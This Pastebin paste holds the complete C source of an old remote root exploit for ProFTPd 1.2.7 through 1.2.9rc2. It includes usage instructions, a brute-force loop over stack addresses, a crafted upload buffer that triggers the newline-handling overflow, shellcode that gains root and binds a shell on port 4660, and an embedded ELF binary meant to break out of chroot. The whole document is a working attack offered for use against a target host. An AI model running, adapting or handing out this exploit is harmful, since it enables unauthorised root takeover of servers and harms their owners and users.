Advertisement
Guest User

Untitled

a guest
May 19th, 2017
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.28 KB | None | 0 0
  1. /*
  2. ProFTPd 1.2.7 - 1.2.9rc2 remote r00t exploit
  3. --------------------------------------------
  4. By psy
  5.  
  6. This exploit builds on the work of bkbll to
  7. create a working, brute-force remote exploit
  8. for the \n procesing bug in ProFTPd.
  9.  
  10. Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0
  11. it works quite well... the RedHat boxes
  12. worked on stack addresses in the 0xbffff2xx
  13. region; the SuSE boxes were somewhat earlier
  14. in the stack space - around 0xbfffe8xx.
  15.  
  16. At present, this exploit breaks chroot (if
  17. any) and spawns a shell bound to port 4660.
  18.  
  19. ----------
  20.  
  21. This version is best run like so:
  22.  
  23. ./proft_put_down -t hostname -l localIP -U incoming
  24.  
  25. where:
  26.  
  27. hostname = target box
  28. localIP = your IP address
  29.  
  30. -U incoming specifies that the exploit will attempt
  31. to create an 'incoming' directory on the remote ftp
  32. server and work inside that. Without it, the shell-
  33. code will probably not work properly. You have been
  34. warned!
  35.  
  36. It is possible to use other credentials for logging
  37. in to remote servers; anonymous is the default.
  38.  
  39. ----------
  40.  
  41. Special thanks to B-r00t for testing and pointing
  42. out a segfault, flame for letting me r00t his
  43. RedHat 8 box and everyone else for their input.
  44.  
  45. Have a nice root.
  46.  
  47. H.
  48. */
  49.  
  50. #include <stdio.h>
  51. #include <ctype.h>
  52. #include <stdlib.h>
  53. #include <unistd.h>
  54. #include <errno.h>
  55. #include <netdb.h>
  56. #include <string.h>
  57. #include <signal.h>
  58. #include <stdarg.h>
  59. #include <sys/socket.h>
  60. #include <sys/types.h>
  61. #include <sys/time.h>
  62. #include <sys/select.h>
  63. #include <netinet/in.h>
  64. #include <arpa/inet.h>
  65. #include <linux/tcp.h>
  66.  
  67. #define STACK_START 0xbfffef04
  68. #define STACK_END 0xbffff4f0
  69. #define FTP_PORT 21
  70. #define BINDSHELL_PORT 4660
  71. #define SIZE 1024
  72. #define EXPLOIT_BUF_SIZE 65535
  73. #define DEFAULT_USER "anonymous"
  74. #define DEFAULT_PASS "ftp@"
  75. #define FAILURE -1
  76. #define SUCCESS 0
  77. #define NORMAL_DOWNLOAD 1
  78. #define EXPLOIT_DOWNLOAD 2
  79. #define DOWNLOAD 3
  80. #define UPLOAD 4
  81. #define ACCEPT_TIMEOUT 5
  82. #define SLEEP_DELAY 19999999
  83.  
  84. /*
  85. Leet 0-day HaggisCode (tm)
  86. */
  87. char shellcode[] =
  88. // setuid(0); setgid(0);
  89. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
  90.  
  91. // fork() - parent terminates, killing proftpd and ending FTP
  92. // session. This leaves the child process as a daemon...
  93. "\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"
  94. "\xdb\x31\xc0\xb0\x01\xcd\x80"
  95.  
  96. // Finally, bind a shell to port 4660.
  97. // This is a hacked version of the bindshell code by BigHawk.
  98. "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
  99. "\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
  100. "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
  101. "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
  102. "\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0"
  103. "\x0b\xcd\x80";
  104.  
  105. int controlSock, passiveSock;
  106. int currentPassivePort=32769;
  107. int currentServerPort=31337;
  108. int exploitBufLen;
  109. int attemptNumber=0;
  110. int ftpPort=FTP_PORT;
  111. unsigned int stackWriteAddr, retAddr;
  112. char serverBuf[SIZE];
  113. char exploitBuf[EXPLOIT_BUF_SIZE];
  114. char uploadPath[SIZE]="";
  115. char filename[SIZE*2];
  116. char *server=NULL;
  117. char *user=DEFAULT_USER;
  118. char *pass=DEFAULT_PASS;
  119. char *localIP=NULL;
  120. char errorBuf[SIZE];
  121.  
  122. int connect_to_server(int port);
  123. int login_to_server();
  124. int set_passive_mode(int mode);
  125. int set_ascii_mode();
  126. int set_path_and_filename();
  127. int check_for_linefeed();
  128. int check_status();
  129. int create_passive_server();
  130. int create_exploit_buffer();
  131. int upload_file();
  132. int download_file(int mode);
  133. void usage(char *s);
  134. int do_remote_shell(int shellSock);
  135. void status_bar(char *info);
  136. int timeout_accept(int s, struct sockaddr *sa, int *f);
  137. void my_send(int s, char *b, ...);
  138. void my_recv(int s);
  139. void my_sleep(int n);
  140. void doris_chroot_breaker();
  141.  
  142. int main(int argc,char **argv)
  143. {
  144. int sleepMode=0;
  145. char c;
  146. unsigned int stackStartAddr=STACK_START;
  147.  
  148. if(argc<2) usage(argv[0]);
  149. while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
  150. switch (c) {
  151. case 't':
  152. server=optarg;
  153. break;
  154. case 'u':
  155. user=optarg;
  156. break;
  157. case 'p':
  158. pass=optarg;
  159. break;
  160. case 'l':
  161. localIP=optarg;
  162. break;
  163. case 's':
  164. sleepMode=1;
  165. break;
  166. case 'U':
  167. strncpy(uploadPath,optarg,SIZE);
  168. break;
  169. case 'P':
  170. ftpPort=atoi(optarg);
  171. break;
  172. case 'S':
  173. stackStartAddr=strtoul(optarg, NULL, 16);
  174. break;
  175. default:
  176. usage(argv[0]);
  177. return 1;
  178. }
  179. }
  180. if(server==NULL || localIP==NULL)
  181. usage(argv[0]);
  182.  
  183. printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
  184. printf(" by Haggis (haggis () haggis kicks-ass net)\n");
  185.  
  186. doris_chroot_breaker();
  187. for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {
  188.  
  189. if(check_for_linefeed()==FAILURE)
  190. continue;
  191.  
  192. retAddr=stackWriteAddr+200; // good enough for show business
  193.  
  194. if((controlSock=connect_to_server(ftpPort))==FAILURE) {
  195. perror("\n\nFailing to connect to remote host\n");
  196. exit(1);
  197. }
  198.  
  199. if(login_to_server()==FAILURE) {
  200. close(controlSock);
  201. printf("\nERROR: Login failed.\n");
  202. exit(1);
  203. }
  204.  
  205. if(set_passive_mode(UPLOAD)==FAILURE)
  206. goto err;
  207. if(set_ascii_mode()==FAILURE)
  208. goto err;
  209. if(set_path_and_filename()==FAILURE)
  210. goto err;
  211.  
  212. // create the buffer containing RET for this
  213. // brute-force iteration
  214. create_exploit_buffer();
  215.  
  216. if(upload_file()==FAILURE)
  217. goto err;
  218. close(controlSock);
  219.  
  220. // Connect again, then login, set ASCII mode and download the exploit file.
  221. // This will trigger the overflow; as a result, we've
  222. // corrupted the memory pool of this session and when we
  223. // download the file again, the stack area will be overwritten
  224. // and we control the saved EIP.
  225.  
  226. if((controlSock=connect_to_server(ftpPort))<0) {
  227. perror("\nFailed to connect to remote host\n");
  228. exit(1);
  229. }
  230.  
  231. login_to_server(user,pass);
  232. set_path_and_filename();
  233. if(set_ascii_mode()==FAILURE)
  234. goto err;
  235. if(set_passive_mode(DOWNLOAD)==FAILURE)
  236. goto err;
  237. if(sleepMode)
  238. sleep(10);
  239. if(download_file(NORMAL_DOWNLOAD)==FAILURE)
  240. goto err;
  241.  
  242. // Finally, read the file again. This will trigger the stack
  243. // overwrite (NOT the overflow, that happened earlier). We could
  244. // control EIP at this point and r00t may be only heartbeat away...
  245.  
  246. if(set_passive_mode(DOWNLOAD)==FAILURE)
  247. goto err;
  248. if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
  249. goto err;
  250. err:
  251. close(controlSock);
  252. }
  253.  
  254. // This is only reached if the bruteforce fails.
  255. // delete the exploit files here
  256.  
  257. printf("\n\nNo r00t for you today I'm afraid.\n");
  258. exit(1);
  259. }
  260.  
  261. void status_bar(char *info) {
  262. printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]\r",info, stackWriteAddr,retAddr);
  263. fflush(stdout);
  264. }
  265.  
  266. int set_path_and_filename()
  267. {
  268. status_bar("Setting filename");
  269. if(strcmp(uploadPath,"")) {
  270. my_send(controlSock, "CWD %s\r\n",uploadPath);
  271. my_recv(controlSock);
  272. }
  273. snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
  274. return SUCCESS;
  275. }
  276.  
  277. int download_file(int mode)
  278. {
  279. int len, localServerSock, dataSock, bindShellSock;
  280. struct sockaddr_in localServer;
  281.  
  282. status_bar("Downloading");
  283. // Ask the victim server to send us the exploit file
  284. my_send(controlSock, "RETR %s\r\n", filename);
  285.  
  286. // Create a listening server on our passive port to
  287. // receive the data
  288. memset(&localServer,0,sizeof(localServer));
  289. localServerSock=create_passive_server();
  290. len=sizeof(localServer);
  291.  
  292. // Wait for a few seconds for the victim server to contact us...
  293. if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
  294. close(localServerSock);
  295. return FAILURE;
  296. }
  297.  
  298. // If the mode is EXPLOIT_DOWNLOAD, then this is the
  299. // second attempt at downloading... that means we might
  300. // have a shell waiting for us on the victim server, so
  301. // we try to connect to it
  302. if(mode==EXPLOIT_DOWNLOAD) {
  303. if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
  304. printf("\nConnected! You are r00t...\n");
  305. do_remote_shell(bindShellSock);
  306. printf("\nDid you have a nice time?\n");
  307. exit(0);
  308. }
  309. close(dataSock);
  310. close(localServerSock);
  311. return SUCCESS;
  312. }
  313. // If the mode is NORMAL_DOWNLOAD, then just clean up the
  314. // connection by receiving the file from the server; closing
  315. // the data and local server sockets, then read the confirmation
  316. // message from the control socket
  317. my_recv(dataSock);
  318. close(dataSock);
  319. close(localServerSock);
  320. my_recv(controlSock);
  321. return check_status();
  322. }
  323.  
  324. int timeout_accept(int s, struct sockaddr *sa, int *f)
  325. {
  326. fd_set fdset;
  327. struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
  328. int result;
  329.  
  330. if(s<=0)
  331. return FAILURE;
  332. FD_ZERO(&fdset);
  333. FD_SET(s, &fdset);
  334.  
  335. if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
  336. return FAILURE;
  337. return accept(s,sa,f);
  338. }
  339.  
  340. int set_passive_mode(int mode)
  341. {
  342. int portMSB, portLSB;
  343. int x1,x2,x3,x4;
  344. char *ptr=localIP, *start;
  345.  
  346. status_bar("Setting passive");
  347. if(mode==DOWNLOAD) {
  348. if((++currentPassivePort) > 35000)
  349. currentPassivePort=32789;
  350.  
  351. while(*(++ptr))
  352. if(*ptr=='.')
  353. *ptr=',';
  354. portMSB=(currentPassivePort >> 8 ) & 0xff;
  355. portLSB=currentPassivePort & 0xff;
  356. my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
  357. my_recv(controlSock);
  358. return check_status();
  359. } else {
  360. my_send(controlSock, "PASV\r\n");
  361. my_recv(controlSock);
  362. if(check_status()==FAILURE)
  363. return FAILURE;
  364. ptr=serverBuf;
  365. while(*ptr && *ptr!='(')
  366. ptr++;
  367. if(*ptr=='\0')
  368. return FAILURE;
  369. start=ptr+1;
  370. while(*ptr && *ptr!=')')
  371. ptr++;
  372. *ptr=0;
  373. sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB, &portLSB);
  374. currentServerPort=(portMSB << 8) | portLSB;
  375. }
  376. return SUCCESS;
  377. }
  378.  
  379. int connect_to_server(int port)
  380. {
  381. struct sockaddr_in serverAddr;
  382. struct hostent *host;
  383. int sock, tmp=1;
  384.  
  385. status_bar("Connecting");
  386. if((host=gethostbyname(server))==NULL)
  387. return FAILURE;
  388.  
  389. if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
  390. return FAILURE;
  391. bzero(&serverAddr,sizeof(struct sockaddr));
  392. serverAddr.sin_family=AF_INET;
  393. serverAddr.sin_port=htons(port);
  394. serverAddr.sin_addr=*((struct in_addr *)host->h_addr);
  395. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
  396. if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
  397. close(sock);
  398. return FAILURE;
  399. }
  400. return sock;
  401. }
  402.  
  403. int check_status()
  404. {
  405. if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
  406. return SUCCESS;
  407. else
  408. return FAILURE;
  409. }
  410.  
  411. int login_to_server()
  412. {
  413. status_bar("Logging in");
  414. my_recv(controlSock);
  415. my_send(controlSock, "USER %s\r\n", user);
  416. my_recv(controlSock);
  417. if(check_status()==FAILURE)
  418. return FAILURE;
  419.  
  420. my_send(controlSock, "PASS %s\r\n", pass);
  421. my_recv(controlSock);
  422. return check_status();
  423. }
  424.  
  425. int set_ascii_mode()
  426. {
  427. status_bar("Setting ASCII mode");
  428. my_send(controlSock, "TYPE A\r\n");
  429. my_recv(controlSock);
  430. return check_status();
  431. }
  432.  
  433.  
  434. int upload_file()
  435. {
  436. int dataSock;
  437.  
  438. status_bar("Uploading file");
  439.  
  440. // open up the data channel
  441. if((dataSock=connect_to_server(currentServerPort))==FAILURE)
  442. return FAILURE;
  443.  
  444. // tell server we're gonna send some shiznitz
  445. my_send(controlSock, "STOR %s\r\n", filename);
  446. my_recv(controlSock);
  447. if(check_status()==FAILURE) {
  448. close(dataSock);
  449. return FAILURE;
  450. }
  451.  
  452. // send the exploit file to the victim server
  453. send(dataSock, exploitBuf, exploitBufLen, 0);
  454. close(dataSock);
  455.  
  456. // make sure all went well
  457. my_recv(controlSock);
  458. if(check_status()==FAILURE)
  459. return FAILURE;
  460. return SUCCESS;
  461. }
  462.  
  463. int create_exploit_buffer()
  464. {
  465. int i;
  466. char buf[41];
  467. unsigned int writeaddr=stackWriteAddr;
  468. unsigned int *ptr=(unsigned int *)(exploitBuf+3);
  469. unsigned int dummy=0x11111111;
  470. FILE *fp;
  471.  
  472. status_bar("Make exploit buf");
  473. exploitBufLen=1024;
  474. memset(exploitBuf,0,EXPLOIT_BUF_SIZE);
  475. memset(exploitBuf,0x90,512);
  476. *(ptr++)=writeaddr+28;
  477. for(i=0;i<6;i++)
  478. *(ptr++)=retAddr;
  479. *(ptr++)=0;
  480. for(i=0;i<2;i++)
  481. *(ptr++)=retAddr;
  482.  
  483. memcpy(exploitBuf+512-strlen(shellcode)-1,shellcode,strlen(shellcode));
  484. memset(exploitBuf+512,'\n',512);
  485.  
  486. for(i=0;i<96;i++) {
  487. memset(buf,0,41);
  488. if(dummy==0x1111112e)
  489. // this sets session.d->outstrm to NULL which forces an early return
  490. // avoids crashing proftpd... on SuSE 8.0 anywayz...
  491. memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20);
  492. else if(dummy==0x11111166)
  493. // this is the same thing tailored for RH7.2
  494. memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20);
  495. else
  496. memset(buf,'\n',20);
  497.  
  498. // i used these dummy values to find the correct spot for
  499. // the session.d->outstrm pointer
  500. *(unsigned int *)(buf+20)=dummy;
  501. *(unsigned int *)(buf+24)=dummy;
  502. *(unsigned int *)(buf+28)=dummy;
  503.  
  504. // this will become the address of an available chunk of memory
  505. // that is returned by new_block() in pool.c
  506. *(unsigned int *)(buf+32)=writeaddr;
  507.  
  508. // this is what will be returned by palloc() in pool.c
  509. // palloc() is the function that calls new_block() and
  510. // provides the allocation interface for the pools system.
  511. *(unsigned int *)(buf+36)=writeaddr;
  512.  
  513. memcpy(exploitBuf+exploitBufLen,buf,40);
  514. exploitBufLen+=40;
  515. dummy++;
  516. }
  517. return SUCCESS;
  518. }
  519.  
  520.  
  521. int create_passive_server()
  522. {
  523. struct sockaddr_in serverAddr;
  524. int on=1,sock;
  525.  
  526. status_bar("Creating server");
  527. sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  528. memset(&serverAddr,0,sizeof(struct sockaddr_in));
  529. serverAddr.sin_port=htons(currentPassivePort);
  530. serverAddr.sin_family=AF_INET;
  531. serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
  532. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
  533. if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
  534. close(sock);
  535. return FAILURE;
  536. }
  537. if(listen(sock,5)<0) {
  538. close(sock);
  539. return FAILURE;
  540. }
  541. return sock;
  542. }
  543.  
  544. void usage(char *exploitName)
  545. {
  546. printf("proftpd 1.2.7 - 1.2.9rc2 remote root exploit\n");
  547. printf(" based on code by bkbll (bkbll () cnhonker net)\n");
  548. printf(" by Haggis (haggis () haggis kicks-ass net)\n");
  549. printf("--------------------------------------------------------------\n");
  550. printf("Usage: %s -t host -l ip [options]\n",exploitName);
  551. printf("Arguments:\n");
  552. printf(" -t <host> host to attack\n");
  553. printf(" -u <username> [anonymous]\n");
  554. printf(" -p <password> [ftp () microsoft com]\n");
  555. printf(" -l <local ip address> interface to bind to\n");
  556. printf(" -s sleep for 10secs to allow GDB attach\n");
  557. printf(" -U <path> specify upload path, eg. /incoming\n");
  558. printf(" -P <port> port number of remote proftpd server\n");
  559. printf(" -S <address> start at <address> when bruteforcing\n");
  560. exit(0);
  561. }
  562.  
  563.  
  564. int do_remote_shell(int shellSock)
  565. {
  566. fd_set rfds;
  567. char buf[1024];
  568. int retval, r=1;
  569.  
  570. do {
  571. FD_ZERO(&rfds);
  572. FD_SET(0, &rfds);
  573. FD_SET(shellSock, &rfds);
  574. retval=select(shellSock+1, &rfds, NULL, NULL, NULL);
  575. if(retval) {
  576. if(FD_ISSET(shellSock, &rfds)) {
  577. buf[(r=recv(shellSock, buf, sizeof(buf)-1,0))]='\0'; // lol
  578. printf("%s", buf);fflush(stdout);
  579. }
  580. if(FD_ISSET(0, &rfds)) {
  581. buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; // lmfao
  582. send(shellSock, buf, strlen(buf), 0);
  583. }
  584. }
  585. } while(retval && r); // loop until connection terminates
  586. return SUCCESS;
  587. }
  588.  
  589.  
  590. int check_for_linefeed()
  591. {
  592. char *ptr=(char *)&stackWriteAddr;
  593. int i=4;
  594.  
  595. for(;i;i--)
  596. if(*(ptr++)=='\n')
  597. return FAILURE;
  598. return SUCCESS;
  599. }
  600.  
  601. // Handy little function to send formattable data down a socket.
  602. void my_send(int s, char *b, ...) {
  603. va_list ap;
  604. char *buf;
  605.  
  606. my_sleep(SLEEP_DELAY);
  607. va_start(ap,b);
  608. vasprintf(&buf,b,ap);
  609. send(s,buf,strlen(buf),0);
  610. va_end(ap);
  611. free(buf);
  612. }
  613.  
  614. // Another handy function to read data from a socket.
  615. void my_recv(int s) {
  616. int len;
  617.  
  618. my_sleep(SLEEP_DELAY);
  619. memset(serverBuf, 0, SIZE);
  620. len=recv(s, serverBuf, SIZE-1, 0);
  621. serverBuf[len]=0;
  622. }
  623.  
  624. void doris_chroot_breaker() {
  625. char haggis_magic_buffer[]=
  626. "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  627. "\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
  628. "\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
  629. "\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
  630. "\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
  631. "\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
  632. "\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
  633. "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  634. "\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
  635. "\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
  636. "\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
  637. "\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
  638. "\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
  639. "\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
  640. "\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\x0c\xcd\x80\x49\x85"
  641. "\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
  642. "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
  643. "\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
  644. "\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
  645. "\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
  646. "\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
  647. "\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
  648. "\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
  649. "\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
  650. "\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
  651. "\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
  652. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  653. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  654. "\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"
  655. "\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"
  656. "\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"
  657. "\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"
  658. "\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  659. "\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"
  660. "\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
  661. "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
  662. "\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"
  663. "\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  664. "\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"
  665. "\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
  666. "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
  667. "\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  668. "\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  669. "\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"
  670. "\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"
  671. "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  672. "\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  673. "\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  674. "\x01\x00\x00\x00\x00\x00\x00\x00";
  675.  
  676. strcpy(filename, "aa");
  677. memset(exploitBuf,0,777);
  678. memcpy(exploitBuf, haggis_magic_buffer, 776);
  679. exploitBufLen=776;
  680. if((controlSock=connect_to_server(ftpPort))==FAILURE) {
  681. printf("\nCould not connect to target server\n");
  682. exit(1);
  683. }
  684. login_to_server();
  685. my_send(controlSock, "MKD incoming\r\n");
  686. my_recv(controlSock);
  687. my_send(controlSock, "SITE CHMOD 777 incoming\r\n");
  688. my_recv(controlSock);
  689. my_send(controlSock, "CWD incoming\r\n");
  690. my_recv(controlSock);
  691. set_passive_mode(UPLOAD);
  692. upload_file();
  693. my_send(controlSock, "SITE CHMOD 777 aa\r\n");
  694. close(controlSock);
  695. }
  696.  
  697. // Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
  698. void my_sleep(int n) {
  699. struct timespec t;
  700.  
  701. t.tv_sec=0;
  702. t.tv_nsec=n;
  703. nanosleep(&t,&t);
  704. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement